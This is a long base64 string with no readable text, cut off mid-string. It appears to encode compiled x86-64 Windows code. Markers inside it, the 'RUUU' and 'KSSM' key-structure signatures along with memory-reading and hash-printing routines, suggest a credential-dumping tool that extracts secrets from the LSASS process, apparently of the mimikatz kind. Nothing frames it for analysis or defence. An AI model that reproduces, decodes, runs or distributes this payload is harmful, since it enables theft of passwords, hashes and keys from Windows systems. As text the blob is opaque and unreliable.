QNSIsM3/8VUy8CAItNjEED3jvZcuVIi8//FUAvAgDrMEiNDQ/gBADrIkiNDWbgBADrGUiNDb3gBADrEEiNDRThBADrB0iNDWvhBADo9nj+/0mLzf8VBS8CAOsVSI0NtOEEAOsHSI0NK+IEAOjWeP7/SItMJCjonG7+/0mLz/8VEy8CAOsi/xX7LgIAi9BIjQ1y4gQA6K14/v/rDEiNDdTiBADon3j+/0yNnCRAAQAAM8BJi1swSYtzOEmL40FfQV5BXV9dw8xIi8RIiVgISIlwEEiJeBhMiWAgVUFWQVdIjWihSIHskAAAAEGLwUiJVef32EiJTe9IjUUnTYv4RRv2SIlF14Nl9wBIjUX3SINl/wBIjVXnQYPmA0iJRd9BuCAAAABIjU3XQf/GRYvh6GBu/v+FwA+ETAEAAItVJ7lAAAAASMHiA/8VAi4CAEiL+EiFwA+EOgEAAEiLTTdIjVXnRItFJ0iJTedIjU3XScHgA0iJRdfoGW7+/4XAD4TuAAAAM9s5XScPhu8AAABIjUUHQbggAAAASIlF10iNVedIiwTfSI1N10iJRefo423+/4XAD4SdAAAAi1UHuUAAAABBD6/W/xWFLQIASIlF10iFwA+EjAAAAESLRQdIjVXnSItFF0iNTddFD6/GSIlF5+ifbf7/hcB0Q0UzwEQ5RQd2SEiLRddFheR0F0KLFIBIjQUSawMAS4sMx4oEAogEC+sPQYA8AAB0CEuLBMfGBAMqQf/ARDtFB3LI6w6L00iNDbPhBADo/nb+/0iLTdf/FQwtAgDrDovTSI0NSeIEAOjkdv7//8M7XScPgh/////rDEiNDeDiBADoy3b+/0iLz/8V2iwCAOsMSI0NWeMEAOi0dv7/TI2cJJAAAABJi1sgSYtzKEmLezBNi2M4SYvjQV9BXl3DzMzMSIl8JAhVSI1sJKlIgeyQAAAAM/9IjUUHSIlF50iNRfdIiUXviwVaeQUAiX33SIl9/4XAD4nHAQAASDk9CLEFAHUdSI0Nf+MEAP8VCSwCAEiJBfKwBQBIhcAPhJsBAABMjUU3SI0VzmsEAEiNTffoQYP+/4XAD4R/AQAASDk9zrAFAA8QRTeLRUdIiUUn8w9/RRcPhYIAAABIiw2psAUASI0VMuMEAP8VpCsCAEiJRQ9IhcB0VUiLDYywBQBIjRUt4wQA/xWHKwIASIlFB0iFwHQ4TI1FF7oQAAAASI1N5+gwbv7/hcB0IkiLTS9Ii4HYAAAASIkFXrAFAEiLgeAAAABIiQVIsAUA6wdIiwU/sAUASIXAD4TgAAAASI0Ff4kFALoKAAAATI1FF0iJRedIjU3n6N1t/v+FwA+EuwAAAEiLTS9IY0G9SI1RwUgD0EyNUfNIY0HvTI1J4UwD0EiJFTSxBQBIY0HdTI1B7EwDyEyJFRqxBQBIY0HoTAPATIkNHLEFAEyJBR2xBQBIhdJ0ak2F0nRlTYXJdGBNhcB0W7oAAQAAuUAAAABBiRD/FeYqAgBIi9BIiwXUsAUASIkQupAAAACNSrD/FcsqAgBIi8hIiwXJsAUASIkISIsFr7AFAEg5OHQUiwWYdwUASIXJD0XHiQWMdwUA6waLBYR3BQBIi7wkoAAAAEiBxJAAAABdw8zMzEiD7ChIiw1xsAUASIXJdAlIiwn/FXsqAgBIiw1ssAUASIXJdAlIiwn/FWYqAgBIiw3/rgUASIXJdAb/FfQpAgAzwEiDxCjDzEiJXCQQSIl8JBhVSIvsSIPscEyLAUiNBSiIBQAz/0iJRcBIjUXQTIlFuEiJRchIjU3ASIsCuyUCAMBIiUXgi0IQjVcKTIlF6EyNReBIiUXwiX3QSIl92EiJfbBIiX346FRs/v+FwA+EswAAAEiLRfhEjUcESIPAvUiNVbBIiUWwSI1NwEiNRRBIiUXA6O9p/v+FwA+EhgAAAEiLRfhEjUcISGNNEEiNVbBIg8DBSAPISIsFha8FAEiJTbBIjU3ASIlFwOi4af7/hcB0U0iLRfhIjU2wSIsVaa8FAEiDwN1IiUWwQbiQAAAASIsS6EMAAACFwHQqSItF+EiNTbBIixUwrwUASIPA70iJRbBBuAABAABIixLoGgAAAIXAD0XfTI1cJHCLw0mLWxhJi3sgSYvjXcPMSIlcJBBIiXQkGFVXQVZIi+xIg+xAM9tIjUXwTIvySIlF6EmL8Ild8EiL+UiJXfhIjUUgSIvRRI1DBEiJReBIjU3g6AVp/v+FwHQ4SGNFIESNQwhIg8AESIl94EgBB0iNTeBIi9fo4mj+/4XAdBVMi8ZMiXXgSIvXSI1N4OjLaP7/i9hIi3QkcIvDSItcJGhIg8RAQV5fXcNIg+wogz1hgAUAAA+NaAEAAEiDPTetBQAAD4X9AAAASI0Nwt8EAP8VBCgCAEiJBR2tBQBIhcAPhD0BAABIjRW13wQASIvI/xXcJwIASIsN/awFAEiNFb7fBABIiQX3rAUA/xXBJwIASIsN4qwFAEiNFbvfBABIiQW8rAUA/xWmJwIASIsNx6wFAEiNFbjfBABIiQXhrAUA/xWLJwIASIsNrKwFAEiNFb3fBABIiQW+rAUA/xVwJwIASIsNkawFAEiNFbLfBABIiQWTrAUA/xVVJwIASIsNdqwFAEiNFaffBABIiQWArAUA/xU6JwIASIsNW6wFAEiNFaTfBABIiQU9rAUA/xUfJwIASIM9P6wFAABIiQUwrAUAdQnrXUiLBSWsBQBIgz0trAUAAHRMSIM9A6wFAAB0QkiDPTmsBQAAdDhIgz0nrAUAAHQuSIM9DawFAAB0JEiDPQusBQAAdBpIgz3ZqwUAAHQQSIXAdAvopQAAAIkF834FAIsF7X4FAEiDxCjDSIPsKEiLDcGrBQBIhcl0fIM90X4FAAB8bUiLDaSsBQBIhcl0CDPS/xWXqwUASIsNmKwFAEiFyXQG/xV9qwUASIsNjqwFAP8VsCYCAEiLDVGsBQBIhcl0CDPS/xVkqwUASIsNRawFAEiFyXQG/xVKqwUASIsNO6wFAP8VfSYCAEiLDUarBQD/FRAmAgAzwEiDxCjDzEBTSIPsMEUzyUiNFZjeBABFM8BIjQ0WrAUA/xUgqwUAi9iFwA+IHAEAAEiLDf+rBQBMjQWA3gQAg2QkIABIjRWU3gQAQbkgAAAA/xXQqgUAi9iFwA+I7AAAAINkJCgASI1EJEBIiw3FqwUATI0F1qsFAEG5BAAAAEiJRCQgSI0VdN4EAP8V1qoFAIvYhcAPiLIAAACLFa6rBQC5QAAAAP8VsyUCAEUzyUiNFWneBABIjQ1aqwUASIkFg6sFAEUzwP8VeqoFAIvYhcB4ekiLDT2rBQBMjQVG3gQAg2QkIABIjRXy3QQAQbkgAAAA/xUuqgUAi9iFwHhOg2QkKABIjUQkQEiLDQerBQBMjQUYqwUAQbkEAAAASIlEJCBIjRXW3QQA/xU4qgUAi9iFwHgYixX0qgUAuUAAAAD/FRklAgBIiQXaqgUAi8NIg8QwW8PMzEG4AQAAAOkJAAAAzEUzwOkAAAAASIPsaEyLFeGpBQBFhcAPEAV3qgUATA9FFcepBQBMi9nzD39EJFD2wgd0DkiNDYKqBQC4EAAAAOsMSI0NlKoFALgIAAAAg2QkSABMjUQkeEiLCUUzyUyJRCRARIvCiVQkOEmL00yJXCQwiUQkKEiNRCRQSIlEJCBB/9JIg8Row8xIiVwkEEiJdCQYVVdBVkiL7EiD7HBMiwFIjUXQRTP2SIlFyEiLAkiL8UiJReC/JQIAwItCEEGL3otREEGLzkiJRfBIjQVTggUARIl10EyJddhMiXWwTIlFuEyJdcBMiUXoTIl1+DkQdxRIi9hIg8FQSIPAUEiB+UABAABy6EiF2w+EygAAAEiLQxBMjUXgi1MISI1NwEiJRcDoUmb+/4XAD4SqAAAASGNDKEiNVbBIA0X4SI1NwEiJRbBBuAQAAABIjUUgSIlFwOjrY/7/hcB0f0iLRbBIjVWwSGNNIEiDwARIA8hBuBAAAABIiU2wSI0FF6kFAEiNTcBIiUXA6LZj/v+FwHRKSGNDLEyNBTupBQBIA0X4SI1WCEiNTbBIiUWw6EIAAACFwHQmSGNLMEyNBfeoBQBIA034SI1WCEiJTbBIjU2w6B4AAACFwEEPRf5MjVwkcIvHSYtbKEmLczBJi+NBXl9dw8xIiVwkEEiJdCQYVVdBVEFWQVdIi+xIgeyAAAAAM9tIiU3AgXoIQB8AAEiNRdBNi+CJXdBIi/FIiV3YSIlFyHMKRI1zIESNexjrH4F6CLgkAABzDEG+MAAAAEWNfvjrCkG+QAAAAEWNfvhJi9a5QAAAAP8VlSICAEiL+EiFwA+EKAEAAEiNRTBBuAQAAABIi9ZIiUXASI1NwOizYv7/hcAPhP0AAABIY0UwSI1NwEiDwARIiXXASAEGQbgIAAAASIvW6Ipi/v+FwA+E1AAAAEiNReBBuCAAAABIi9ZIiUXASI1NwOhoYv7/hcAPhLIAAACBfeRSVVVVD4WlAAAASItF8EiNTcBNi8ZIiQZIi9ZIiX3A6Dli/v+FwA+EgwAAAIF/BEtTU011ek1j97lAAAAAQYsUPv8V0iECAEiJRcBIhcB0X0iLTfBIi9ZIg8EESQPOSIkOSI1NwEWLBD7o72H+/4XAdDNBiwQ+SY1UJAhFi0wkGE2LRCQQSYsMJIlcJDCJRCQoSItFwEiJRCQg/xV5pgUAhcAPmcNIi03A/xV6IQIASIvP/xVxIQIATI2cJIAAAACLw0mLWzhJi3NASYvjQV9BXkFcX13DzMzMSIlcJBBXSIPsIEiLDVemBQDoIp4AAEiLDTOmBQBIgyVDpgUAAEiFyXQvixGD6gF0DIP6AXQHSItcJDDrB0iLQQhIixjov2D+/0iLy0iJBf2lBQD/FS8hAgBIjR1YYQMAvwkAAABIiwsz0kiDwSBEjUIo6OFcAABIjVsISIPvAXXkSItcJDhIg8QgX8NIg+woSI0N2d4EAOicav7/6F////8zwEiDxCjDSIlcJAhXSIPsIIvZSIv6SI0N2t4EAOh1av7/g/sBdA5IjQ353gQA6GRq/v/rI+gl////SIsP6NGcAABIi9BIiQV7pQUASI0NDCUEAOg/av7/M8BIi1wkMEiDxCBfw8zMgz1JpgUABkiNDfJgAwBIjQUTYQMASA9CwUiJBailBQAzwMPMSIsFnaUFAEj/YAjMSIPsOEiNBXVgAwDHRCQoCQAAAEiNVCQgSIlEJCBIjQ0ABwAA6P8DAABIg8Q4w8zMSIlcJBBIiXQkGFdBVkFXSIPsQEUz/0w5PcukBQBBi99Bi/dBi/8PhUMDAABIiwU1pQUAuyUCAMD/EIXAD4ghAwAASIsVt6QFAEiF0nQ9SI0Nq94EAEWNdwLocmn+/0iLDZukBQBFjUcBTIl8JDBFM8lEiXwkKLoAAACAx0QkIAMAAAD/FXcfAgDrLUiNVCRgQb4BAAAASI0Nq44EAOjub/7/hcB0F0SLRCRgM9K5OgQAAP8VoB8CAEiL8OsMSI0NjN4EAOgHaf7/SI1G/0iD+P0Ph1YCAAC6EAAAAI1KMP8V8x4CAEiJBfyjBQBIhcB0FEyNBfCjBQBIi9ZBi87oxV3+/+sDQYvHhcAPhA8CAABBg/4CD4WhAAAASIsFx6MFAEGNVgVIi0gISIsJ6Gtm/v9Ii9BIhcB0aYtICESLBa2kBQCJDaejBQCLQAyJBaKjBQCLQhCJBZ2jBQBBO8h0H0GD+AZyBYP5BnMUi1IISI0NW94EAOhWaP7/6cYBAABBuAkAAABmRDkCQA+Vx4X/dFYPtxJIjQ0V3wQA6DBo/v/rEUiNDfffBAC/AQAAAOgdaP7/iw03owUA6ySLBUekBQCLDSmkBQCJBSejBQCLBSGkBQCJBR+jBQCJDRGjBQCF/w+FXgEAAIE9B6MFAEAfAABBi8cPk8CJBZOMBQCD+QZzEIM966IFAAJEiT3gjgUAcwrHBdSOBQABAAAASIsNxaIFAEiNFV4BAABFM8Dopm7+/4XAD4jcAAAARDk9z4wFAA+EzwAAAA8oDbKMBQBIjRWzogUAgT2ZogUAzg4AALnD////DygFhYwFAEkPQtdMiXwkOA8pDWWJBQBEjUEHZg9z2QRmD37IRY1IPA8pBT2JBQDyDxAFdYwFAD0AAEhTTIl8JDBIiVQkKEiNBV+iBQBBD0fI8g8RBTOJBQCJDcmFBQBMjQVWhAUASI0NF6IFAEiJRCQgSI0VE4wFAOjiHgAAhcB0J0iLBXuiBQBIjRX8iwUASI0N7aEFAP9QEIvYhcB5a0iNDTXfBADrGUiNDYzfBADrEEiNDePfBADrB0iNDVrgBADopWb+/+sU/xXdHAIAi9BIjQ204AQA6I9m/v+F23kqSIsNnKEFAOhPXP7/SIvOSIkFjaEFAP8VvxwCAOsMSI0NBuEEAOhhZv7/SIt0JHCLw0iLXCRoSIPEQEFfQV5fw8zMzEiJXCQISIl0JBBXSIPsIEiL8UiNHa9cAwC/CQAAAEiLVhhIiwtIi1IISItJGOgemQAAhcB1HEiLA8dAQAEAAABIiwsPEAYPEUEgDxBOEA8RSTBIg8MISIPvAXXCSItcJDCNRwFIi3QkOEiDxCBfw8xIiVwkCEiJdCQQVVdBVEFWQVdIjWwkyUiB7MAAAACDZccASI1Fd0iDZc8ATIvhSINltwC5AQAAAEiJRZdMi/pIjUXHiU13SIlFn0SL8UiNRcdIiUW/6K77//+L8IXAD4h4AgAASI0FhaAFAEiJRddIiwX6oAUASIlF34sFgKAFAD24CwAAcwlIjR1qXAMA60c9iBMAAHMJSI0dilwDAOs3PVgbAABzCUiNHapcAwDrJz1AHwAAcwlIjR3KXAMA6xc9uCQAAEiNHRxdAwBIjQ1FXQMASA9D2QWo5P//PV8JAAB3EIE9H4oFAAAASFN2BEiDwzBIiwX2nwUASIlFr0iLBQugBQBIiUWnSIXAdBNBuAQAAABIjVWnSI1Nl+gDW/7/M/85fXcPhrABAABIixO5QAAAAIvHSMHgBEgDBdefBQBIiUWnSI1Ff0iJRZdIjUXHSIlFn/8VhRoCAEiJRbdIhcAPhGkBAABBuAgAAABIjVWnSI1Nl+ipWv7/hcAPhEQBAABIi0WvSItNf0iJRZ/pJQEAAEWF9g+EKgEAAEyLA0iNVZdIjU236Hda/v+FwA+EEgEAAEyLRbeLQwhJA8BIiUXni0MMQosMAItDEIlN/0KLDACLQxhJA8CJTQOLSxRIiUX3SQPIi0McSIlN70qLFACLQyBIiVUHSosUAItDJEiJVQ9KixQAi0MoSIlVF0qLFACLQyxJA8BIiVUfSIsVzJ4FAEiJRSfok57+/0iLFbyeBQBIi0336IOe/v9IixWsngUASItNJ+hznv7/SIsVnJ4FAEiNTQ/o457+/0mL10iNTddB/9RIi03vRIvwSItJCEiFyXQG/xVzGQIASItN90iLSQhIhcl0Bv8VYBkCAEiLRSdIi0gISIXJdAb/FU0ZAgBIi00PSIXJdAb/FT4ZAgBIi0W3SIsISIlNl0g7TacPhc3+//9Ii023/xUfGQIA/8c7fXcPglD+//9MjZwkwAAAAIvGSYtbMEmLczhJi+NBX0FeQVxfXcPMzEiJXCQISIlsJBBIiXQkGFdIg+wgg3koA0iL+kiL8XRZ6G8AAAAz2zlfCHZNSIsHSIsU2IN6QAB0OUiNBRxZAwBIiwTYg3gQAHQoSIsSSI0NqN0EAOiDYv7/SIsPSIsU2UiLzv9SCEiNDQdhAwDoamL+///DO18IcrNIi1wkMLgBAAAASItsJDhIi3QkQEiDxCBfw8xMi9xTSIPsUEiLQRBIi9lEi0koSI0NPlgDAESLAItQBEiLQ1BJiUPwSItDIEmJQ+hIi0MYSYlD4ItDLIlEJDBKiwTJRIvKSYlD0EiNDbfeBABFiUPI6O5h/v9IjQ3P3wQA6OJh/v9IjUtI6CGh/v9IjQ1qYAMA6M1h/v9IjQ3e3wQA6MFh/v9Ii0s4SIXJdAXoV6H+/0iNDURgAwBIg8RQW+miYf7/zMxIiVwkCFVIi+xIgeyAAAAA6Lv3//+DZSAAi9iDZeAASI1F0EiDZegAD1fASINlwABIiw2BnAUASIlF8EiNReBIiUX4SIlNyPMPf0XQhdsPiK0AAACDPbV9BQAAD4SUAAAASI1FIEG5BQAAAEiJRCQ4TI0F2XgFAEiDZCQwAEiNRcBIg2QkKABIjRVifQUASI0NI5wFAEiJRCQg6PUYAACFwHRJSItFwEiNVcBIY00gQbgQAAAASI0MyEiJTcBIjU3w6CZX/v+FwHQ3SItN0EiNFYtABADoOgAAAEiLTdhIjRUD3wQA6CoAAADrFUiNDQ3fBADrB0iNDaTfBADon2D+/4vDSIucJJAAAABIgcSAAAAAXcNIi8RIiVgISIlwEEiJeBhVSI1ooUiB7PAAAABIiwWCmwUAg2WnAEiDZa8ASIlFn0iNRbdIiUWHSI1Fp0iJRY9IiU2XSIXJD4QrAgAASI0Nud8EAOg0YP7/gz1NmwUABkiNVZdIjU2HD4MAAQAASI1FF0G4GAAAAEiJRYfoWFb+/4XAD4TvAQAAi0Ub/8iNDICNDM1AAAAAi/mL0blAAAAA/xXuFQIASIvYSIXAD4TFAQAARIvHSIlFh0iNVZdIjU2H6BJW/v+FwA+EoAEAAItTBEiNDVTfBADor1/+/zP/OXsED4aGAQAASI00v4tM8yjoOwb//0iL0EiNDU3fBADoiF/+/0iLRPM4uUAAAABIiUWXi1TzMP8VeBUCAEiJRYdIhcB0MESLRPMwSI1Vl0iNTYfooVX+/4XAdBCLVPMwRTPASItNh+gxnf7/SItNh/8VTxUCAEiNDchdAwDoK1/+///HO3sEcoDpAQEAAEiNRbdBuCgAAABIiUWH6FhV/v+FwA+E7wAAAItFu//IjQxAweEEg8FYi/mL0blAAAAA/xXvFAIASIvYSIXAD4TGAAAARIvHSIlFh0iNVZdIjU2H6BNV/v+FwA+EoQAAAItTBEiNDVXeBADosF7+/zP/OXsED4aHAAAASI00f0gD9otM80DoOQX//0iL0EiNDUveBADohl7+/0iLRPNQuUAAAABIiUWXi1TzSP8VdhQCAEiJRYdIhcB0MESLRPNISI1Vl0iNTYfon1T+/4XAdBCLVPNIRTPASItNh+gvnP7/SItNh/8VTRQCAEiNDcZcAwDoKV7+///HO3sED4J5////SIvL/xUtFAIATI2cJPAAAABJi1sQSYtzGEmLeyBJi+Ndw0iJXCQIVVZXSI1sJLlIgeywAAAA6BP0//+DZQcASI0duH8FAEiDZQ8Ai/hIg2XXAEiNRQdIg2XnAIE94ZgFAEAfAABIiw3KmAUASIlF70iNBTd/BQBID0PYSIlN30iDZX8ASINl9wBIg2X/AIX/D4h0AQAAg3tAAA+EXgEAAEiDZCQ4AEiNRf9AinNESI1TIEiJRCQwTI0FoHYFAEiNRfdBuQUAAABIiUQkKEiNDWKYBQBIjUV/SIlEJCDoMBUAAIXAD4QLAQAAQA+2xkiNVdeJQ0RIjU3nSI1Fd0G4BAAAAEiJRedIi0V/SIlF1+hWU/7/hcAPhO4AAACDfXcAD4TGAAAASI0NydwEAOjsXP7/SI1FF7sUAAAASIlF50iNVddIi0X3SI1N50SLw0iJRdfoE1P+/4XAD4SrAAAASI1FL0SLw0iJRedIjVXXSItF/0iNTedIiUXX6OtS/v+FwA+EgwAAAEiNDYjcBADoi1z+/0UzwEiNTReL0+htmv7/RTPASI1NL4vT6F+a/v9IjQ1w3AQA6GNc/v9FM8BIjU0Xi9PoRZr+/0iNDVZQBADoSVz+/0UzwEiNTS+L0+grmv7/SI0NzFoDAOsZSI0NS9wEAOsQSI0NstwEAOsHSI0NSd0EAOgUXP7/i8dIi5wk0AAAAEiBxLAAAABfXl3DzMzMSIlcJAhVSI1sJKBIgexgAQAA6BXy//+DZCRgAIvYSINkJGgASI2FgAAAAEiDZCRQAIE96ZYFALAdAABIiw3SlgUASIlEJEBIjUQkYEiJRCRISI1FgEiJRCRwSI1EJGBIiUQkeEiJTCRYD4LTAAAAhdsPiNcAAACDPe53BQAAD4S1AAAASINkJDgASI1EJFBIg2QkMABMjQXgdwUASINkJCgASI0Vo3cFAEG5AgAAAEiJRCQgSI0NWZYFAOgwEwAAhcB0bEG4CAAAAEiNVCRQSI1MJEDob1H+/4XAdHFIi42AAAAASIsFKZYFAEiJTCRASIlEJEhIO0wkUHRSQbjgAAAASI1UJEBIjUwkcOg3Uf7/hcB0OUiNTYDo5gEAAEiLRYBIiUQkQEg7RCRQdc7rHkiNDYXcBADrEEiNDfzcBADrB0iNDXPdBADorlr+/4vDSIucJHABAABIgcRgAQAAXcPMzMxMi9xJiVsISYlrEEmJcxhXSIPsUEiLBZWVBQAz/0iL2UmJQ/BIiwlJjUPYiXwkMEmL8UGL6EmJe+BJiUvoSYl7yEmJQ9A5ewh0BUiFyXUUZjl7EA+EMAEAAEg5exgPhCYBAABIjQ1W3QQA6Cla/v9IjQVi3QQAhe1IjQ1p3QQASIvWSA9FyOgNWv7/SIsVHpUFAEiNcxBIi87o4pT+/4XAdEVIjQ1P3QQA6OpZ/v9Ii87ocpT+/4XAdBFIi9ZIjQ1EWwMA6M9Z/v/rEg+3FkG4AQAAAEiLSxjoq5f+/0iLSxj/FckPAgBIjQ1CWAMA6KVZ/v85ewgPhI0AAABIOTsPhIQAAACLUwi5QAAAAP8VjQ8CAEiL8EiFwHRuRItDCEiNVCRASI1MJCBIiUQkIOixT/7/hcB0STl+CHZEi8dIjRxAi0yeDOjx//7/SIvQSI0Ns9wEAOg+Wf7/i0yeFEUzwItUnhBIA87oG5f+/0iNDbxXAwDoH1n+///HO34IcrxIi87/FScPAgBIi1wkYEiLbCRoSIt0JHBIg8RQX8PMzEiJXCQISIl0JBBXSIPsIEiLFfqTBQBIjXEQSIvZSIvO6LuT/v+FwA+E5QAAAEiLFdyTBQBIjUsg6KOT/v+FwA+EwwAAAEyNQyBIi9ZIjQ2VWwQA6KBY/v9IixWxkwUASI17WEiLz+j1k/7/hcB0HUiNDYpMBADofVj+/0iLD+gZmP7/SIsP/xWEDgIASI0N0foDAOhgWP7/SI1LYEyLzkUzwEiNFXdbBADosv3//78BAAAASI2LgAAAAESLx0iNFUxbBABMi87olP3//0iNi6AAAABMi85FM8BIjRVgWwQA6Hv9//9IjYvAAAAATIvORIvHSI0VN1sEAOhi/f//SItLKP8VCA4CAEiLSxj/Ff4NAgBIi1wkMEiLdCQ4SIPEIF/DzMxMi9xVSY1rqUiB7KAAAABJg2OQAEiLAYNlJwBIg2UvAEiDZRcASINlBwBIiUUfSI1FJ0iJRQ9IjUX/SYlDiEiNRfdJiUOASI1F70iJRCQg6HQPAACFwA+EAAEAAEiLRe9IiUUXSIXAD4T7AAAASI1FN0G4EAAAAEiNVRdIiUUHSI1NB+iYTf7/hcAPhNgAAABIjU036KuW/v9IjQ3MVQMA6C9X/v9Ii0X3SIlFF0iFwA+EsgAAAEiNRV9BuAQAAABIjVUXSIlFB0iNTQfoT03+/4XAD4SPAAAAg31fAA+EhQAAAEiLRf9IiUUXSIXAdHhIjUUXQbgIAAAASI1VF0iJRQdIjU0H6BVN/v+FwHRZi1VfuUAAAAD/Fb8MAgBIiUUHSIXAdEJEi0VfSI1VF0iNTQfo6Uz+/4XAdBVEi01/SI1NN0SLRV9Ii1UH6IR6//9Ii00H/xWSDAIA6wxIjQ0B2gQA6GxW/v9IgcSgAAAAXcPMzMxIiVwkCEiJdCQQV0iD7DBIi9qL+eh37P//SINkJCAATI0FwtsDAEUzyUiL04vPi/DoC5f+/4v4hfZ4eoE9Q5EFAEAfAABIjQXEdwUASI0dDXgFAEgPQ9iDeyAAdFhIjQ00XQQA6PdV/v9BuQQAAACJfCQgTI0FtnAFAEiL00iNDfSQBQDoA/7//0iNDRheBADoy1X+/0G5BQAAAIl8JCBMjQWqawUASIvTSI0NyJAFAOjX/f//SItcJECLxkiLdCRISIPEMF/DzEiJXCQIVVZXQVRBVUFWQVdIjWwk0EiB7DABAABFM+1IjUXYD1fASIlEJGBMjUwkUEyJbCR4TI0FVOADAESJbYDzD39EJGhMiWwkIEiL2ov56COW/v+FwA+EBQUAAEyNTCRYTIlsJCBMjQUy4AMASIvTi8/oAJb+/4XAD4TZBAAARTPJTIlsJCBMjQUh2QQASIvTi8/o35X+/0SL8IXAdAroezcBAEiLCOsHSI0NR3EEAEiJTCQgTI1NiIvPTI0FBdkEAEiL0+itlf7/TIt8JFhIjQ352AQATItkJFBIjQX12AQATItNiEWF9k2Lx0mL1EgPRcFIjQ3t2AQASIlEJCDok1T+/0yNTCRQTIlsJCBMjQW63wMASIvTi8/oWJX+/0iDzv+FwA+EigAAAIE9hpAFAFgbAAByckiLTCRQSIvGSP/AZkQ5LEF19kiD+CBFi81BD5TBRYXJdBFBuBAAAABIjVWw6BeR/v/rA0GLxYXAdC9IjUWwSI0N09gEAEiJRCR46BFU/v9Ii0wkeEUzwEGNUBDo8JH+/0iNDZFSAwDrEEiNDcDYBADrB0iNDUfZBADo4lP+/0yNTCRQTIlsJCBMjQUZ3wMASIvTi8/op5T+/4XAD4SKAAAAgT3ZjwUAWBsAAHJySItMJFBIi8ZI/8BmRDksQXX2SIP4QEWLzUEPlMFFhcl0EUG4IAAAAEiNVQjoapD+/+sDQYvFhcB0L0iNRQhIjQ2O2QQASIlEJHDoZFP+/0iLTCRwRTPAQY1QIOhDkf7/SI0N5FEDAOsQSI0Ng9kEAOsHSI0NCtoEAOg1U/7/TI1MJFhMiWwkIEyNBUTeAwBIi9OLz+j6k/7/hcB1H0yNTCRYTIlsJCBMjQWlagQASIvTi8/o25P+/4XAdHJIi0wkWEj/xmZEOSxxdfZIg/4gRYvNQQ+UwUWFyXQRQbgQAAAASI1VwOixj/7/6wNBi8WFwHQvSI1FwEiNDUXaBABIiUQkaOirUv7/SItMJGhFM8BBjVAQ6IqQ/v9IjQ0rUQMA6wdIjQ0q2gQA6IVS/v9MOWwkaHUaTDlsJHh1E0w5bCRwdQxIjQ353QQA6TUCAABIi1WISI1FmESJbCRIuwIAAABIiUQkQIvLSI0F9E4DAEiJRCQ4TIl8JDBEjUMCTIlkJCiJXCQg6ABj/v+FwA+EywEAAESLRaxIjQ1N2gQAi1Wo6A1S/v9Ii02YTI2FiAAAAEGLxvfYG9Ij04HKCAACAP8VJQQCAIXAD4RmAQAASIuNiAAAAEiNhYAAAABEjUs2SIlEJCBMjUXQjVMI/xXpAwIAhcAPhBcBAACLVdxIjQ0f2gQARItF2ESLykSJRCQg6J5R/v9IjQ1H2gQA6JJR/v9IjVQkYEiNDVIpAADoqev//0iNDRJQAwDodVH+/0iNDUbaBADoaVH+/0iNVCRgSI0NDRwAAOiA6///SI0N6U8DAOhMUf7/RDltgA+EjwAAAEWF9nR+SIuNiAAAAEiNRZBIiUQkKESNSwFFM8CJXCQgjVMK/xUJBAIAhcB0PkiLVZAzyf8VCQQCAIXAdA5IjQ3+2QQA6PlQ/v/rFP8VMQcCAIvQSI0NKNoEAOjjUP7/SItNkP8VKQcCAOsU/xURBwIAi9BIjQ142gQA6MNQ/v8z0usRSItNmP8VXQoCAOsluhUAAEBIi02Y/xVcCgIA6xT/FdwGAgCL0EiNDbPaBADojlD+/0iLjYgAAAD/FdEGAgDrFP8VuQYCAIvQSI0NENsEAOhrUP7/SItNoP8VsQYCAEiLTZj/FacGAgDrK/8VjwYCAIvQSI0NVtsEAOhBUP7/6xVIjQ2I3AQA6wdIjQ3v3AQA6CpQ/v8zwEiLnCRwAQAASIHEMAEAAEFfQV5BXUFcX15dw8xIiVwkEFVWV0FUQVVBVkFXSIvsSIPsQEUz5EGL8EyJZUBIi8JIi9lFi+xFi/xBi/xIhckPhNEFAABIi0g4SI1VQP8V1QECAA+65hsPg78CAABIi0sIi/6B5wAAAAdIhckPhIEFAAAPuuYcchFIiwUxiwUAD7cTTItAIEH/EIH/AAAAAQ+EmwEAAIH/AAAAAg+EhwAAAIH/AAAAA3QjSI0NuN0EAOhjT/7/D7cTQbgBAAAASItLCOhBjf7/6ScFAABIi3sIQYvci1cUjUL/TI1IBU6NDEhOjQyPTIlNWIXSD4QCBQAAi8NIjQxFBwAAAEgDyEiNDI9Ihcl0FUyLRUBIjVVYSYPBBOgkBQAATItNWP/DO18Ucs7pywQAAEiLWwhIjVMQSItCCEiFwHQHSAPDSIlCCEiLQwhIhcB0B0gDw0iJQwhMi8NIjQ3u2wQA6LlO/v8PtkMjSI0NrtwEAEQPtksiRA+2QyEPtlMgiUQkIOiXTv7/RDhjIA+FlwAAAL8QAAAARDhjInQaSI0N+9sEAOh2Tv7/SI1LNkUzwIvX6FiM/v9EOGMhdBpIjQ0D3AQA6FZO/v9IjUsmRTPAi9foOIz+/0Q4YyN0HEiNDQvcBADoNk7+/0UzwEiNS0ZBjVAU6BaM/v9MOWVAD4T3AwAAilMhhNJ1DUiNQ0ZIhcAPhOMDAACKQyNIjUtG9thIjUMm6dcAAABIjUso6CkFAADpwwMAAEiLWwhIjVMQSItCCEiFwHQHSAPDSIlCCEiLQwhIhcB0B0gDw0iJQwhMi8NIjQ3m2gQA6LFN/v+/EAAAAEQ4Y1V0GkiNDR/bBADomk3+/0iNSzBFM8CL1+h8i/7/RDhjVHQaSI0NJ9sEAOh6Tf7/SI1LIEUzwIvX6FyL/v9EOGNWdBxIjQ0v2wQA6FpN/v9FM8BIjUtAQY1QFOg6i/7/TDllQA+EGwMAAIpTVITSdQ1IjUNASIXAD4QHAwAAikNWSI1LQPbYSI1DIE0byUyJZCQoTCPJSItNQPbaTRvAM9JMI8DorbT+/+nXAgAAD7rmFw+DqAAAAEiNDWPbBADo5kz+/0w5Ywh0SEiLFfGHBQBIi8vouYf+/4XAdDUPuuYcchZIiwVYiAUAD7dTAkiLSwhMi0AgQf8QSIvTSI0NP9sEAOiiTP7/SItLCP8VsAICAEiLUxhIhdIPhGYCAACLQgxIg8AISI0MQotCCEiDwAhIiUwkIEiNDT3bBABMjQxCi0IESIPACEyNBEKLAkiNFEJIg8IQ6E9M/v/pJQIAAA+65hUPg7QAAACLC+jd8v7/SIvQSI0Np9sEAOgqTP7/D7dDCGaJRfJmiUXwZoXAdHBIi0MQSI1N8EiLFSKHBQBIiUX46OmG/v+FwHRgD7rmFHMVSIN7CGR2DkiLXfhIi8voIAMAAOsuSItd+A+65hxyFUiLBWmHBQBIi8sPt1XyTItAIEH/EA+3VfBFM8BIi8vopIn+/0iLy/8VwwECAOsMSI0NKtsEAOidS/7/SI0NLkoDAOiRS/7/6WcBAAAPuuYUcwkPEEMo8w9/Q